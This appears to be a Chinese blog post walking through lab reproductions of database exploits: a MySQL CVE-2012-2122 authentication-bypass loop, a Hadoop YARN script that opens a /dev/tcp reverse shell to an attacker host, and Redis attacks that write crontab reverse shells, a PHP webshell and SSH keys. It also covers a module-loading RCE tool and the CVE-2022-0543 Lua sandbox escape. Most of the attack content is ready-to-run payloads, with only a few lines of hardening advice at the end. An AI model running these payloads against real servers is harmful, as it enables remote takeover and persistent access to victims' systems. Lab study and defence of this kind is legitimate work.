• 数据库安全-Redis&Hadoop&Mysql&未授权访问&RCE


    数据库安全-&Redis&Hadoop&Mysql&未授权访问&RCE

    定义

    未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露,包括端口的未授权常见页面的未授权 /admin.php /menu.php

    常见的未授权访问漏洞及默认端口:
    默认端口统计:

    [21, 139, 873, 2049, 2181, 2182, 2375, 5601, 5672, 5900, 5901, 5984, 6379, 6443, 8080, 8088,
    8095, 8161, 9100, 9200, 9300, 11211, 15672, 15692, 20048, 25672, 27017]等待

    漏洞复现

    Mysql-CVE-2012-2122 漏洞

    靶场环境:vulhub

    image-20231013153406487

    开启环境,执行payload:

    通过循环,不断发送登录请求:

    for i in `seq 1 1000`; do mysql -uroot -pwrong -h you-ip -P3306 ; done 
    
    • 1

    执行等待过后,会直接进入到数据库当中:

    image-20231013153545715

    成功进入:

    image-20231013153607643

    Hadoop-配置不当未授权三重奏&RCE 漏洞

    靶场环境:vulhub

    image-20231013155608954

    打开进入环境:

    image-20231013155700044

    payload:

    #!/usr/bin/env python
    
    import requests
    
    target = 'http://192.168.100.134:8088/'
    lhost = '192.168.100.1' # put your local host ip here, and listen at port 9999
    
    url = target + 'ws/v1/cluster/apps/new-application'
    resp = requests.post(url)
    app_id = resp.json()['application-id']
    url = target + 'ws/v1/cluster/apps'
    data = {
        'application-id': app_id,
        'application-name': 'get-shell',
        'am-container-spec': {
            'commands': {
                'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
            },
        },
        'application-type': 'YARN',
    }
    requests.post(url, json=data)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    攻击端开启监听:

    nc -lvvp 9999
    
    • 1

    image-20231013155939650

    执行python脚本:

    成功反弹

    image-20231013160032398

    可执行命令:

    image-20231013160100075

    Redis-未授权访问-Webshell&任务&密匙&RCE 等

    redis是一个非常快速的,开源的、支持网络、可基于内存亦可持久化的日志型、非关系类型的数据库;

    提供多种语言的 API,java/c/c++/c#/php/javascript/

    漏洞定义:

    redis未授权访问漏洞是一个有域redis服务器版本较低其未设置登录密码导致的漏洞,攻击者可直接利用redis服务器的IP地址和端口完成redis服务器的远程登录,对目标服务器完成后续的控制和利用。

    漏洞成因

    1.redis版本 4.x/5.0.5或以前的版本

    2.redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则,避免其他飞信人来源IP访问等相关安全策略,直接暴露在公网。

    3.没有设置密码认证(一般为空),可以免密码远程登录redis服务。

    漏洞危害

    攻击者可通过redis命令向目标服务器写入计划任务来反弹shell,完成服务器的控制攻击者可通过redis命令向网站目录写入webshell,完成对目标网站服务器的初步控制最严重,如果redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

    漏洞复现

    Redis-未授权访问-Webshell&定时任务&密匙&RCE

    漏洞验证:

    验证思路:

    未授权访问漏洞的本质就是不需要用户密码就可以完成服务器的登录,所以验证思路很简单,只要能使用攻击机无密码登录目标服务器,漏洞就存在。

    服务端,开启redis服务

    攻击机器:redis-cli -h IP 连接redis服务器

    登录之后输入info,出现内容证明验证成功

    漏洞利用:

    漏洞利用方式
    1、写计划任务反弹shell
    利用过程
    目标:运行redis服务器
    攻击:连接redis服务器
    
    利用攻击机将计划任务写进服务器
    config set dir /var/spool/cron  //写入的目录  计划文件夹
    config set dbfilename root     //写入的文件名,自定义命名即可
    set ssr "\n\n*/1****/bin/bash -i > & /dev/tcp/攻击IP/1234 0>&1\n\n"
    //写入的内容
    save  //保存
    
    攻击机:
    执行 nc -lvvp 1234   稍等片刻   黑客机接收到目标机的shell 
    使用crontab -l 可查看目标机器原来写入的计划任务
    
    
    2、写webshell
    config set dir /var/www/html
    config set dbfilename shell.php
    set webshell "$_POST['cmd']); ?>"	//webshell后门
    save
    
    
    3、写SSH公钥实现登录
    1)攻击机和靶机打开SSH服务
    命令:systemctl start ssh(没有的话用apt命令安装或yum安装)
    
    2)在目标机创建SSH公钥可写目录
    命令:mkdir /root/.ssh   //ls -al 进行查看是否创建成功
    
    3)清空攻击机/root/.ssh目录下的文件,方便区分一会要生成并存放进其中的SSH公钥文件
    命令:rm -rf *
    
    4)在攻击机生成SSH公钥(需要连续敲击三下回车)
    命令:ssh-keygen -t rsa
    
    5)在攻击机上切换至公钥存放目录:
    命令:cd /root/.ssh
    
    6)将公钥写入1.txt(前后用\n,避免和redis里其他缓存数据混合,不用会一直失败)
    (echo -e "\n\n";cat id_rsa.pub;echo -e"\n\n") > 1.txt
    
    将1.txt的文本内容带入登录目标机redis服务器的过程中,后续可以直接在目标机上设置目标文件并写入 
    命令:
    cat 1.txt | redis-cli -h 目标IP -x set crack 	//将1.txt的内容设置为crack(设置的名称),命名自定义即可
    
    使用redis-cli -h 目标IP 连接目标机器并执行以下命令将本地SSH公钥写入目标机
    config set dir /root/.ssh
    config get dir
    config set dbfilename authorized_keys
    save
    在攻击机使用ssh免密登录
    cd /root/.ssh
    ssh -i id_rsa root@目标IP
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    redis命令执行(RCE)

    靶场环境:vulhub

    image-20231013162258650

    开启环境并进入验证,输入info并执行,说明存在未授权:

    image-20231013162227907

    自动化工具使用:

    直接使用,直接干

    工具地址

    payload:
    python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"
    
    python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "whoami"
    
    //还可将命令换成反弹shell命令,进行反弹。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    执行结果:

    image-20231013163059983

    image-20231013163119547

    换一条命令再次尝试:

    whoami

    image-20231013163148899

    成功执行命令。

    还可以将命令换成反弹shell命令,进行一个反弹。

    redis沙箱绕过(CVE-2022-0543)

    靶场环境:vulhub

    image-20231013171127037

    打开进入环境

    payload:
    eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
    
    eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0
    
    //也可以换成反弹shell命令,进行一个反弹
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    执行结果:

    image-20231013172043876

    加固思路

    1.升级
    2.修改6379
    3.设置密码认证
    4.设置防火墙

  • 相关阅读:
    【算法与数据结构】46、47、LeetCode全排列I, II
    IDEA的初步使用
    iPhone或在2024开放第三方应用商店。
    Transmit :macOS 好用的 Ftp/SFtp 工具
    PTA题目 前世档案
    手边酒店V2独立版小程序 1.0.21 免授权+小程序前端安装教程
    让电商运营10倍提效的自动化工具,你get了吗?
    用户投稿|Cursor——软件开发行业新变革
    pandas使用groupby函数基于多个分组变量(多变量分组)对dataframe数据进行分组、使用mean函数计算所有分组下数据变量的聚合平均值
    Leetcode 49.字母异位词分组
  • 原文地址:https://blog.csdn.net/rumil/article/details/133815374